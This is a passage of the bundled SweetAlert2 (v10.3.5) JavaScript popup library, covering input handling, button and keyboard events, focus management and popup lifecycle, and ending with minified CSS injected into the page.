      case 'checkbox':
        return getCheckboxValue(input);

      case 'radio':
        return getRadioValue(input);

      case 'file':
        return getFileValue(input);

      default:
        return innerParams.inputAutoTrim ? input.value.trim() : input.value;
    }
  };

  var getCheckboxValue = function getCheckboxValue(input) {
    return input.checked ? 1 : 0;
  };

  var getRadioValue = function getRadioValue(input) {
    return input.checked ? input.value : null;
  };

  var getFileValue = function getFileValue(input) {
    return input.files.length ? input.getAttribute('multiple') !== null ? input.files : input.files[0] : null;
  };

  var handleInputOptions = function handleInputOptions(instance, params) {
    var content = getContent();

    var processInputOptions = function processInputOptions(inputOptions) {
      return populateInputOptions[params.input](content, formatInputOptions(inputOptions), params);
    };

    if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
      showLoading();
      asPromise(params.inputOptions).then(function (inputOptions) {
        instance.hideLoading();
        processInputOptions(inputOptions);
      });
    } else if (_typeof(params.inputOptions) === 'object') {
      processInputOptions(params.inputOptions);
    } else {
      error("Unexpected type of inputOptions! Expected object, Map or Promise, got ".concat(_typeof(params.inputOptions)));
    }
  };

  var handleInputValue = function handleInputValue(instance, params) {
    var input = instance.getInput();
    hide(input);
    asPromise(params.inputValue).then(function (inputValue) {
      input.value = params.input === 'number' ? parseFloat(inputValue) || 0 : "".concat(inputValue);
      show(input);
      input.focus();
      instance.hideLoading();
    })["catch"](function (err) {
      error("Error in inputValue promise: ".concat(err));
      input.value = '';
      show(input);
      input.focus();
      instance.hideLoading();
    });
  };

  var populateInputOptions = {
    select: function select(content, inputOptions, params) {
      var select = getChildByClass(content, swalClasses.select);

      var renderOption = function renderOption(parent, optionLabel, optionValue) {
        var option = document.createElement('option');
        option.value = optionValue;
        setInnerHtml(option, optionLabel);

        if (params.inputValue.toString() === optionValue.toString()) {
          option.selected = true;
        }

        parent.appendChild(option);
      };

      inputOptions.forEach(function (inputOption) {
        var optionValue = inputOption[0];
        var optionLabel = inputOption[1]; // <optgroup> spec:
        // https://www.w3.org/TR/html401/interact/forms.html#h-17.6
        // "...all OPTGROUP elements must be specified directly within a SELECT element (i.e., groups may not be nested)..."
        // check whether this is a <optgroup>

        if (Array.isArray(optionLabel)) {
          // if it is an array, then it is an <optgroup>
          var optgroup = document.createElement('optgroup');
          optgroup.label = optionValue;
          optgroup.disabled = false; // not configurable for now

          select.appendChild(optgroup);
          optionLabel.forEach(function (o) {
            return renderOption(optgroup, o[1], o[0]);
          });
        } else {
          // case of <option>
          renderOption(select, optionLabel, optionValue);
        }
      });
      select.focus();
    },
    radio: function radio(content, inputOptions, params) {
      var radio = getChildByClass(content, swalClasses.radio);
      inputOptions.forEach(function (inputOption) {
        var radioValue = inputOption[0];
        var radioLabel = inputOption[1];
        var radioInput = document.createElement('input');
        var radioLabelElement = document.createElement('label');
        radioInput.type = 'radio';
        radioInput.name = swalClasses.radio;
        radioInput.value = radioValue;

        if (params.inputValue.toString() === radioValue.toString()) {
          radioInput.checked = true;
        }

        var label = document.createElement('span');
        setInnerHtml(label, radioLabel);
        label.className = swalClasses.label;
        radioLabelElement.appendChild(radioInput);
        radioLabelElement.appendChild(label);
        radio.appendChild(radioLabelElement);
      });
      var radios = radio.querySelectorAll('input');

      if (radios.length) {
        radios[0].focus();
      }
    }
  };
  /**
   * Converts `inputOptions` into an array of `[value, label]`s
   * @param inputOptions
   */

  var formatInputOptions = function formatInputOptions(inputOptions) {
    var result = [];

    if (typeof Map !== 'undefined' && inputOptions instanceof Map) {
      inputOptions.forEach(function (value, key) {
        var valueFormatted = value;

        if (_typeof(valueFormatted) === 'object') {
          // case of <optgroup>
          valueFormatted = formatInputOptions(valueFormatted);
        }

        result.push([key, valueFormatted]);
      });
    } else {
      Object.keys(inputOptions).forEach(function (key) {
        var valueFormatted = inputOptions[key];

        if (_typeof(valueFormatted) === 'object') {
          // case of <optgroup>
          valueFormatted = formatInputOptions(valueFormatted);
        }

        result.push([key, valueFormatted]);
      });
    }

    return result;
  };

  var handleConfirmButtonClick = function handleConfirmButtonClick(instance, innerParams) {
    instance.disableButtons();

    if (innerParams.input) {
      handleConfirmWithInput(instance, innerParams);
    } else {
      confirm(instance, innerParams, true);
    }
  };
  var handleDenyButtonClick = function handleDenyButtonClick(instance) {
    instance.disableButtons(); // here we could add preDeny in future, if needed

    deny(instance);
  };
  var handleCancelButtonClick = function handleCancelButtonClick(instance, dismissWith) {
    instance.disableButtons();
    dismissWith(DismissReason.cancel);
  };

  var handleConfirmWithInput = function handleConfirmWithInput(instance, innerParams) {
    var inputValue = getInputValue(instance, innerParams);

    if (innerParams.inputValidator) {
      instance.disableInput();
      var validationPromise = Promise.resolve().then(function () {
        return asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage));
      });
      validationPromise.then(function (validationMessage) {
        instance.enableButtons();
        instance.enableInput();

        if (validationMessage) {
          instance.showValidationMessage(validationMessage);
        } else {
          confirm(instance, innerParams, inputValue);
        }
      });
    } else if (!instance.getInput().checkValidity()) {
      instance.enableButtons();
      instance.showValidationMessage(innerParams.validationMessage);
    } else {
      confirm(instance, innerParams, inputValue);
    }
  };

  var deny = function deny(instance) {
    instance.closePopup({
      isDenied: true,
      value: false
    });
  };

  var succeedWith = function succeedWith(instance, value) {
    instance.closePopup({
      isConfirmed: true,
      value: value
    });
  };

  var confirm = function confirm(instance, innerParams, value) {
    if (innerParams.showLoaderOnConfirm) {
      showLoading(); // TODO: make showLoading an *instance* method
    }

    if (innerParams.preConfirm) {
      instance.resetValidationMessage();
      var preConfirmPromise = Promise.resolve().then(function () {
        return asPromise(innerParams.preConfirm(value, innerParams.validationMessage));
      });
      preConfirmPromise.then(function (preConfirmValue) {
        if (isVisible(getValidationMessage()) || preConfirmValue === false) {
          instance.hideLoading();
        } else {
          succeedWith(instance, typeof preConfirmValue === 'undefined' ? value : preConfirmValue);
        }
      });
    } else {
      succeedWith(instance, value);
    }
  };

  var addKeydownHandler = function addKeydownHandler(instance, globalState, innerParams, dismissWith) {
    if (globalState.keydownTarget && globalState.keydownHandlerAdded) {
      globalState.keydownTarget.removeEventListener('keydown', globalState.keydownHandler, {
        capture: globalState.keydownListenerCapture
      });
      globalState.keydownHandlerAdded = false;
    }

    if (!innerParams.toast) {
      globalState.keydownHandler = function (e) {
        return keydownHandler(instance, e, dismissWith);
      };

      globalState.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
      globalState.keydownListenerCapture = innerParams.keydownListenerCapture;
      globalState.keydownTarget.addEventListener('keydown', globalState.keydownHandler, {
        capture: globalState.keydownListenerCapture
      });
      globalState.keydownHandlerAdded = true;
    }
  }; // Focus handling

  var setFocus = function setFocus(innerParams, index, increment) {
    var focusableElements = getFocusableElements(); // search for visible elements and select the next possible match

    for (var i = 0; i < focusableElements.length; i++) {
      index = index + increment; // rollover to first item

      if (index === focusableElements.length) {
        index = 0; // go to last item
      } else if (index === -1) {
        index = focusableElements.length - 1;
      }

      return focusableElements[index].focus();
    } // no visible focusable elements, focus the popup


    getPopup().focus();
  };
  var arrowKeysNextButton = ['ArrowRight', 'ArrowDown', 'Right', 'Down' // IE11
  ];
  var arrowKeysPreviousButton = ['ArrowLeft', 'ArrowUp', 'Left', 'Up' // IE11
  ];
  var escKeys = ['Escape', 'Esc' // IE11
  ];

  var keydownHandler = function keydownHandler(instance, e, dismissWith) {
    var innerParams = privateProps.innerParams.get(instance);

    if (innerParams.stopKeydownPropagation) {
      e.stopPropagation();
    } // ENTER


    if (e.key === 'Enter') {
      handleEnter(instance, e, innerParams); // TAB
    } else if (e.key === 'Tab') {
      handleTab(e, innerParams); // ARROWS - switch focus between buttons
    } else if ([].concat(arrowKeysNextButton, arrowKeysPreviousButton).indexOf(e.key) !== -1) {
      handleArrows(e.key); // ESC
    } else if (escKeys.indexOf(e.key) !== -1) {
      handleEsc(e, innerParams, dismissWith);
    }
  };

  var handleEnter = function handleEnter(instance, e, innerParams) {
    // #720 #721
    if (e.isComposing) {
      return;
    }

    if (e.target && instance.getInput() && e.target.outerHTML === instance.getInput().outerHTML) {
      if (['textarea', 'file'].indexOf(innerParams.input) !== -1) {
        return; // do not submit
      }

      clickConfirm();
      e.preventDefault();
    }
  };

  var handleTab = function handleTab(e, innerParams) {
    var targetElement = e.target;
    var focusableElements = getFocusableElements();
    var btnIndex = -1;

    for (var i = 0; i < focusableElements.length; i++) {
      if (targetElement === focusableElements[i]) {
        btnIndex = i;
        break;
      }
    }

    if (!e.shiftKey) {
      // Cycle to the next button
      setFocus(innerParams, btnIndex, 1);
    } else {
      // Cycle to the prev button
      setFocus(innerParams, btnIndex, -1);
    }

    e.stopPropagation();
    e.preventDefault();
  };

  var handleArrows = function handleArrows(key) {
    var confirmButton = getConfirmButton();
    var denyButton = getDenyButton();
    var cancelButton = getCancelButton();

    if (!([confirmButton, denyButton, cancelButton].indexOf(document.activeElement) !== -1)) {
      return;
    }

    var sibling = arrowKeysNextButton.indexOf(key) !== -1 ? 'nextElementSibling' : 'previousElementSibling';
    var buttonToFocus = document.activeElement[sibling];

    if (buttonToFocus) {
      buttonToFocus.focus();
    }
  };

  var handleEsc = function handleEsc(e, innerParams, dismissWith) {
    if (callIfFunction(innerParams.allowEscapeKey)) {
      e.preventDefault();
      dismissWith(DismissReason.esc);
    }
  };

  var handlePopupClick = function handlePopupClick(instance, domCache, dismissWith) {
    var innerParams = privateProps.innerParams.get(instance);

    if (innerParams.toast) {
      handleToastClick(instance, domCache, dismissWith);
    } else {
      // Ignore click events that had mousedown on the popup but mouseup on the container
      // This can happen when the user drags a slider
      handleModalMousedown(domCache); // Ignore click events that had mousedown on the container but mouseup on the popup

      handleContainerMousedown(domCache);
      handleModalClick(instance, domCache, dismissWith);
    }
  };

  var handleToastClick = function handleToastClick(instance, domCache, dismissWith) {
    // Closing toast by internal click
    domCache.popup.onclick = function () {
      var innerParams = privateProps.innerParams.get(instance);

      if (innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton || innerParams.input) {
        return;
      }

      dismissWith(DismissReason.close);
    };
  };

  var ignoreOutsideClick = false;

  var handleModalMousedown = function handleModalMousedown(domCache) {
    domCache.popup.onmousedown = function () {
      domCache.container.onmouseup = function (e) {
        domCache.container.onmouseup = undefined; // We only check if the mouseup target is the container because usually it doesn't
        // have any other direct children aside of the popup

        if (e.target === domCache.container) {
          ignoreOutsideClick = true;
        }
      };
    };
  };

  var handleContainerMousedown = function handleContainerMousedown(domCache) {
    domCache.container.onmousedown = function () {
      domCache.popup.onmouseup = function (e) {
        domCache.popup.onmouseup = undefined; // We also need to check if the mouseup target is a child of the popup

        if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
          ignoreOutsideClick = true;
        }
      };
    };
  };

  var handleModalClick = function handleModalClick(instance, domCache, dismissWith) {
    domCache.container.onclick = function (e) {
      var innerParams = privateProps.innerParams.get(instance);

      if (ignoreOutsideClick) {
        ignoreOutsideClick = false;
        return;
      }

      if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
        dismissWith(DismissReason.backdrop);
      }
    };
  };

  function _main(userParams) {
    showWarningsForParams(userParams);

    if (globalState.currentInstance) {
      globalState.currentInstance._destroy();
    }

    globalState.currentInstance = this;
    var innerParams = prepareParams(userParams);
    setParameters(innerParams);
    Object.freeze(innerParams); // clear the previous timer

    if (globalState.timeout) {
      globalState.timeout.stop();
      delete globalState.timeout;
    } // clear the restore focus timeout


    clearTimeout(globalState.restoreFocusTimeout);
    var domCache = populateDomCache(this);
    render(this, innerParams);
    privateProps.innerParams.set(this, innerParams);
    return swalPromise(this, domCache, innerParams);
  }

  var prepareParams = function prepareParams(userParams) {
    var showClass = _extends({}, defaultParams.showClass, userParams.showClass);

    var hideClass = _extends({}, defaultParams.hideClass, userParams.hideClass);

    var params = _extends({}, defaultParams, userParams);

    params.showClass = showClass;
    params.hideClass = hideClass; // @deprecated

    if (userParams.animation === false) {
      params.showClass = {
        popup: 'swal2-noanimation',
        backdrop: 'swal2-noanimation'
      };
      params.hideClass = {};
    }

    return params;
  };

  var swalPromise = function swalPromise(instance, domCache, innerParams) {
    return new Promise(function (resolve) {
      // functions to handle all closings/dismissals
      var dismissWith = function dismissWith(dismiss) {
        instance.closePopup({
          isDismissed: true,
          dismiss: dismiss
        });
      };

      privateMethods.swalPromiseResolve.set(instance, resolve);

      domCache.confirmButton.onclick = function () {
        return handleConfirmButtonClick(instance, innerParams);
      };

      domCache.denyButton.onclick = function () {
        return handleDenyButtonClick(instance);
      };

      domCache.cancelButton.onclick = function () {
        return handleCancelButtonClick(instance, dismissWith);
      };

      domCache.closeButton.onclick = function () {
        return dismissWith(DismissReason.close);
      };

      handlePopupClick(instance, domCache, dismissWith);
      addKeydownHandler(instance, globalState, innerParams, dismissWith);

      if (innerParams.toast && (innerParams.input || innerParams.footer || innerParams.showCloseButton)) {
        addClass(document.body, swalClasses['toast-column']);
      } else {
        removeClass(document.body, swalClasses['toast-column']);
      }

      handleInputOptionsAndValue(instance, innerParams);
      openPopup(innerParams);
      setupTimer(globalState, innerParams, dismissWith);
      initFocus(domCache, innerParams); // Scroll container to top on open (#1247, #1946)

      setTimeout(function () {
        domCache.container.scrollTop = 0;
      });
    });
  };

  var populateDomCache = function populateDomCache(instance) {
    var domCache = {
      popup: getPopup(),
      container: getContainer(),
      content: getContent(),
      actions: getActions(),
      confirmButton: getConfirmButton(),
      denyButton: getDenyButton(),
      cancelButton: getCancelButton(),
      loader: getLoader(),
      closeButton: getCloseButton(),
      validationMessage: getValidationMessage(),
      progressSteps: getProgressSteps()
    };
    privateProps.domCache.set(instance, domCache);
    return domCache;
  };

  var setupTimer = function setupTimer(globalState$$1, innerParams, dismissWith) {
    var timerProgressBar = getTimerProgressBar();
    hide(timerProgressBar);

    if (innerParams.timer) {
      globalState$$1.timeout = new Timer(function () {
        dismissWith('timer');
        delete globalState$$1.timeout;
      }, innerParams.timer);

      if (innerParams.timerProgressBar) {
        show(timerProgressBar);
        setTimeout(function () {
          if (globalState$$1.timeout.running) {
            // timer can be already stopped at this point
            animateTimerProgressBar(innerParams.timer);
          }
        });
      }
    }
  };

  var initFocus = function initFocus(domCache, innerParams) {
    if (innerParams.toast) {
      return;
    }

    if (!callIfFunction(innerParams.allowEnterKey)) {
      return blurActiveElement();
    }

    if (!focusButton(domCache, innerParams)) {
      setFocus(innerParams, -1, 1);
    }
  };

  var focusButton = function focusButton(domCache, innerParams) {
    if (innerParams.focusDeny && isVisible(domCache.denyButton)) {
      domCache.denyButton.focus();
      return true;
    }

    if (innerParams.focusCancel && isVisible(domCache.cancelButton)) {
      domCache.cancelButton.focus();
      return true;
    }

    if (innerParams.focusConfirm && isVisible(domCache.confirmButton)) {
      domCache.confirmButton.focus();
      return true;
    }

    return false;
  };

  var blurActiveElement = function blurActiveElement() {
    if (document.activeElement && typeof document.activeElement.blur === 'function') {
      document.activeElement.blur();
    }
  };

  /**
   * Updates popup parameters.
   */

  function update(params) {
    var popup = getPopup();
    var innerParams = privateProps.innerParams.get(this);

    if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
      return warn("You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.");
    }

    var validUpdatableParams = {}; // assign valid params from `params` to `defaults`

    Object.keys(params).forEach(function (param) {
      if (Swal.isUpdatableParameter(param)) {
        validUpdatableParams[param] = params[param];
      } else {
        warn("Invalid parameter to update: \"".concat(param, "\". Updatable params are listed here: https://github.com/sweetalert2/sweetalert2/blob/master/src/utils/params.js\n\nIf you think this parameter should be updatable, request it here: https://github.com/sweetalert2/sweetalert2/issues/new?template=02_feature_request.md"));
      }
    });

    var updatedParams = _extends({}, innerParams, validUpdatableParams);

    render(this, updatedParams);
    privateProps.innerParams.set(this, updatedParams);
    Object.defineProperties(this, {
      params: {
        value: _extends({}, this.params, params),
        writable: false,
        enumerable: true
      }
    });
  }

  function _destroy() {
    var domCache = privateProps.domCache.get(this);
    var innerParams = privateProps.innerParams.get(this);

    if (!innerParams) {
      return; // This instance has already been destroyed
    } // Check if there is another Swal closing


    if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
      globalState.swalCloseEventFinishedCallback();
      delete globalState.swalCloseEventFinishedCallback;
    } // Check if there is a swal disposal defer timer


    if (globalState.deferDisposalTimer) {
      clearTimeout(globalState.deferDisposalTimer);
      delete globalState.deferDisposalTimer;
    }

    runDidDestroy(innerParams);
    disposeSwal(this);
  }

  var runDidDestroy = function runDidDestroy(innerParams) {
    if (typeof innerParams.didDestroy === 'function') {
      innerParams.didDestroy();
    } else if (typeof innerParams.onDestroy === 'function') {
      innerParams.onDestroy(); // @deprecated
    }
  };

  var disposeSwal = function disposeSwal(instance) {
    // Unset this.params so GC will dispose it (#1569)
    delete instance.params; // Unset globalState props so GC will dispose globalState (#1569)

    delete globalState.keydownHandler;
    delete globalState.keydownTarget; // Unset WeakMaps so GC will be able to dispose them (#1569)

    unsetWeakMaps(privateProps);
    unsetWeakMaps(privateMethods);
  };

  var unsetWeakMaps = function unsetWeakMaps(obj) {
    for (var i in obj) {
      obj[i] = new WeakMap();
    }
  };



  var instanceMethods = /*#__PURE__*/Object.freeze({
    hideLoading: hideLoading,
    disableLoading: hideLoading,
    getInput: getInput$1,
    close: close,
    closePopup: close,
    closeModal: close,
    closeToast: close,
    enableButtons: enableButtons,
    disableButtons: disableButtons,
    enableInput: enableInput,
    disableInput: disableInput,
    showValidationMessage: showValidationMessage,
    resetValidationMessage: resetValidationMessage$1,
    getProgressSteps: getProgressSteps$1,
    _main: _main,
    update: update,
    _destroy: _destroy
  });

  var currentInstance;

  var SweetAlert = /*#__PURE__*/function () {
    function SweetAlert() {
      _classCallCheck(this, SweetAlert);

      // Prevent run in Node env
      if (typeof window === 'undefined') {
        return;
      } // Check for the existence of Promise


      if (typeof Promise === 'undefined') {
        error('This package requires a Promise library, please include a shim to enable it in this browser (See: https://github.com/sweetalert2/sweetalert2/wiki/Migration-from-SweetAlert-to-SweetAlert2#1-ie-support)');
      }

      currentInstance = this;

      for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
        args[_key] = arguments[_key];
      }

      var outerParams = Object.freeze(this.constructor.argsToParams(args));
      Object.defineProperties(this, {
        params: {
          value: outerParams,
          writable: false,
          enumerable: true,
          configurable: true
        }
      });

      var promise = this._main(this.params);

      privateProps.promise.set(this, promise);
    } // `catch` cannot be the name of a module export, so we define our thenable methods here instead


    _createClass(SweetAlert, [{
      key: "then",
      value: function then(onFulfilled) {
        var promise = privateProps.promise.get(this);
        return promise.then(onFulfilled);
      }
    }, {
      key: "finally",
      value: function _finally(onFinally) {
        var promise = privateProps.promise.get(this);
        return promise["finally"](onFinally);
      }
    }]);

    return SweetAlert;
  }(); // Assign instance methods from src/instanceMethods/*.js to prototype


  _extends(SweetAlert.prototype, instanceMethods); // Assign static methods from src/staticMethods/*.js to constructor


  _extends(SweetAlert, staticMethods); // Proxy to instance methods to constructor, for now, for backwards compatibility


  Object.keys(instanceMethods).forEach(function (key) {
    SweetAlert[key] = function () {
      if (currentInstance) {
        var _currentInstance;

        return (_currentInstance = currentInstance)[key].apply(_currentInstance, arguments);
      }
    };
  });
  SweetAlert.DismissReason = DismissReason;
  SweetAlert.version = '10.3.5';

  var Swal = SweetAlert;
  Swal["default"] = Swal;

  return Swal;

}));
if (typeof this !== 'undefined' && this.Sweetalert2){  this.swal = this.sweetAlert = this.Swal = this.SweetAlert = this.Sweetalert2}

"undefined"!=typeof document&&function(e,t){var n=e.createElement("style");if(e.getElementsByTagName("head")[0].appendChild(n),n.styleSheet)n.styleSheet.disabled||(n.styleSheet.cssText=t);else try{n.innerHTML=t}catch(e){n.innerText=t}}(document,".swal2-popup.swal2-toast{flex-direction:row;align-items:center;width:auto;padding:.625em;overflow-y:hidden;background:#fff;box-shadow:0 0 .625em #d9d9d9}.swal2-popup.swal2-toast .swal2-header{flex-direction:row;padding:0}.swal2-popup.swal2-toast .swal2-title{flex-grow:1;justify-content:flex-start;margin:0 .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{position:static;width:.8em;height:.8em;line-height:.8}.swal2-popup.swal2-toast .swal2-content{justify-content:flex-start;padding:0;font-size:1em}.swal2-popup.swal2-toast .swal2-icon{width:2em;min-width:2em;height:2em;margin:0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:700}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{font-size:.25em}}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{flex-basis:auto!important;width:auto;height:auto;margin:0 .3125em;padding:0}.swal2-popup.swal2-toast .swal2-styled{margin:0 .3125em;padding:.3125em .625em;font-size:1em}.swal2-popup.swal2-toast .swal2-styled:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(50,100,150,.4)}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.8em;left:-.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-toast-animate-success-line-tip .75s;animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-toast-animate-success-line-long .75s;animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{-webkit-animation:swal2-toast-show .5s;animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{-webkit-animation:swal2-toast-hide .1s forwards;animation:swal2-toast-hide .1s forwards}.swal2-container{display:flex;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;flex-direction:row;align-items:center;justify-content:center;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:0 0!important}.swal2-container.swal2-top{align-items:flex-start}.swal2-container.swal2-top-left,.swal2-container.swal2-top-start{align-items:flex-start;justify-content:flex-start}.swal2-container.swal2-top-end,.swal2-container.swal2-top-right{align-items:flex-start;justify-content:flex-end}.swal2-container.swal2-center{align-items:center}.swal2-container.swal2-center-left,.swal2-container.swal2-center-start{align-items:center;justify-content:flex-start}.swal2-container.swal2-center-end,.swal2-container.swal2-center-right{align-items:center;justify-content:flex-end}.swal2-container.swal2-bottom{align-items:flex-end}.swal2-container.swal2-bottom-left,.swal2-container.swal2-bottom-start{align-items:flex-end;justify-content:flex-start}.swal2-container.swal2-bottom-end,.swal2-container.swal2-bottom-right{align-items:flex-end;justify-content:flex-end}.swal2-container.swal2-bottom-end>:first-child,.swal2-container.swal2-bottom-left>:first-child,.swal2-container.swal2-bottom-right>:first-child,.swal2-container.swal2-bottom-start>:first-child,.swal2-container.swal2-bottom>:first-child{margin-top:auto}.swal2-container.swal2-grow-fullscreen>.swal2-modal{display:flex!important;flex:1;align-self:stretch;justify-content:center}.swal2-container.swal2-grow-row>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-grow-column{flex:1;flex-direction:column}.swal2-container.swal2-grow-column.swal2-bottom,.swal2-container.swal2-grow-column.swal2-center,.swal2-container.swal2-grow-column.swal2-top{align-items:center}.swal2-container.swal2-grow-column.swal2-bottom-left,.swal2-container.swal2-grow-column.swal2-bottom-start,.swal2-container.swal2-grow-column.swal2-center-left,.swal2-container.swal2-grow-column.swal2-center-start,.swal2-container.swal2-grow-column.swal2-top-left,.swal2-container.swal2-grow-column.swal2-top-start{align-items:flex-start}.swal2-container.swal2-grow-column.swal2-bottom-end,.swal2-container.swal2-grow-column.swal2-bottom-right,.swal2-container.swal2-grow-column.swal2-center-end,.swal2-container.swal2-grow-column.swal2-center-right,.swal2-container.swal2-grow-column.swal2-top-end,.swal2-container.swal2-grow-column.swal2-top-right{align-items:flex-end}.swal2-container.swal2-grow-column>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-no-transition{transition:none!important}.swal2-container:not(.swal2-top):not(.swal2-top-start):not(.swal2-top-end):not(.swal2-top-left):not(.swal2-top-right):not(.swal2-center-start):not(.swal2-center-end):not(.swal2-center-left):not(.swal2-center-right):not(.swal2-bottom):not(.swal2-bottom-start):not(.swal2-bottom-end):not(.swal2-bottom-left):not(.swal2-bottom-right):not(.swal2-grow-fullscreen)>.swal2-modal{margin:auto}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-container .swal2-modal{margin:0!important}}.swal2-popup{display:none;position:relative;box-sizing:border-box;flex-direction:column;justify-content:center;width:32em;max-width:100%;padding:1.25em;border:none;border-radius:.3125em;background:#fff;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:0}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-header{display:flex;flex-direction:column;align-items:center;padding:0 1.8em}.swal2-title{position:relative;max-width:100%;margin:0 0 .4em;padding:0;color:#595959;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:100%;margin:1.25em auto 0;padding:0 1.6em}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0,0,0,.1),rgba(0,0,0,.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0,0,0,.2),rgba(0,0,0,.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;-webkit-animation:swal2-rotate-loading 1.5s linear 0s infinite normal;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#3085d6 transparent #3085d6 transparent}.swal2-styled{margin:.3125em;padding:.625em 2em;box-shadow:none;font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#3085d6;color:#fff;font-size:1.0625em}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dd6b55;color:#fff;font-size:1.0625em}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#aaa;color:#fff;font-size:1.0625em}.swal2-styled:focus{outline:0;box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(50,100,150,.4)}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1.25em 0 0;padding:1em 0 0;border-top:1px solid #eee;color:#545454;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;height:.25em;overflow:hidden;border-bottom-right-radius:.3125em;border-bottom-left-radius:.3125em}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:1.25em auto}.swal2-close{position:absolute;z-index:2;top:0;right:0;align-items:center;justify-content:center;width:1.2em;height:1.2em;padding:0;overflow:hidden;transition:color .1s ease-out;border:none;border-radius:0;background:0 0;color:#ccc;font-family:serif;font-size:2.5em;line-height:1.2;cursor:pointer}.swal2-close:hover{transform:none;background:0 0;color:#f27474}.swal2-close::-moz-focus-inner{border:0}.swal2-content{z-index:1;justify-content:center;margin:0;padding:0 1.6em;color:#545454;font-size:1.125em;font-weight:400;line-height:normal;text-align:center;word-wrap:break-word}.swal2-checkbox,.swal2-file,.swal2-input,.swal2-radio,.swal2-select,.swal2-textarea{margin:1em auto}.swal2-file,.swal2-input,.swal2-textarea{box-sizing:border-box;width:100%;transition:border-color .3s,box-shadow .3s;border:1px solid #d9d9d9;border-radius:.1875em;background:inherit;box-shadow:inset 0 1px 1px rgba(0,0,0,.06);color:inherit;font-size:1.125em}.swal2-file.swal2-inputerror,.swal2-input.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474!important;box-shadow:0 0 2px #f27474!important}.swal2-file:focus,.swal2-input:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:0;box-shadow:0 0 3px 